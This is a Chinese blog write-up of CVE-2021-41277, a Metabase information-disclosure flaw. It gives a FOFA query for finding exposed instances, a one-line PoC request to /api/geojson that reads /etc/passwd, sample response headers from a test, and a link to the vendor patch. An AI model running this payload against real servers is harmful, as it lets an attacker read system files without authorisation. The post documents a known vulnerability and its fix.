当前位置:首页 » 《随便一记》 » 正文

CVE-2021-41277——Metabase 信息泄露漏洞_LiBai'S BLOG

7 人参与  2022年05月21日 17:40  分类 : 《随便一记》  评论

点击全文阅读


Metabase 信息泄露漏洞

    • 漏洞简介
    • FOFA语法
    • POC
    • 漏洞测试
    • 漏洞修复

在这里插入图片描述

漏洞简介

Metabase是美国Metabase公司的一个开源数据分析平台。

Metabase 中存在信息泄露漏洞,该漏洞源于产品的 admin->settings->maps->custom maps->add a map 操作缺少权限验证。攻击者可通过该漏洞获得敏感信息。

  • CNNVD编号:CNNVD-202111-1565
  • 危害等级: 超危
  • CVE编号: CVE-2021-41277

FOFA语法

app="Metabase" 

在这里插入图片描述

POC

"{{BaseURL}}/api/geojson?url=file:/etc/passwd"

参考

https://github.com/0x0021h/expbox/blob/main/CVE-2021-41277.yaml

漏洞测试

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
返回200

HTTP/1.1 200 OK
Server: nginx/1.16.0
Date: Sun, 21 Nov 2021 03:04:41 GMT
Content-Type: text/html;charset=utf-8
Connection: close
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Last-Modified: Sun, 21 Nov 2021 03:04:41 +0000
Strict-Transport-Security: max-age=31536000
X-Permitted-Cross-Domain-Policies: none
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com  'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-7t0fjA/BVlVoDzQGo5fjx1QcGZGP/YHzqHjtle6rQr0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self';
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Content-Length: 162961
......

漏洞修复

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr

点击全文阅读


本文链接:http://zhangshiyu.com/post/40559.html

漏洞  修复  泄露  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 重生在高考前,我笑着送小青梅和小混混去庆祝成人礼老书虫(沈晏安乔念),重生在高考前,我笑着送小青梅和小混混去庆祝成人礼老书虫
  • 重生后,我笑送全班去三亚毕业旅行推荐_徐凯沈清别以为阅读_小说后续在线阅读_无删减免费完结_
  • 北风秋霜覆往忆完结+结局+番外(傅砚寒沈沐柒)全书浏览_北风秋霜覆往忆完结+结局+番外全书浏览
  • 小说大结局小说罗毅小说已更新+特别篇(转职神级辅助,转身上报国家!)纯净版
  • 碎骨揉香与君长诀精修版(褚明意萧鹤明)全书浏览_碎骨揉香与君长诀精修版全书浏览
  • 只因一块表,闺蜜害死我全家热门榜首_陆哲轩李俏陆少爆火全网_小说后续在线阅读_无删减免费完结_
  • 折寒枝簪起霜思全章+后续+结局(宋闻璟沈棠眠)_折寒枝簪起霜思全章+后续+结局(宋闻璟沈棠眠)
  • 高考前一周我绑定了上分系统(袁文淼徐靓靓)_高考前一周我绑定了上分系统(袁文淼徐靓靓)
  • 元乐曦楚寻风:结局+番外免费品鉴终极反转(楚寻风元乐曦):结局+番外评价五颗星
  • 谈了个黄毛后,全家疯了(宋清晏许明月)_谈了个黄毛后,全家疯了(宋清晏许明月)
  • 老婆去给艺术家男性朋友捧场,被我当场抓包超长版_苏棠月顾青竹阅读_小说后续在线阅读_无删减免费完结_
  • 怪谈禁区(南巍)整本+后续+(怪谈禁区)结局在线阅读

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1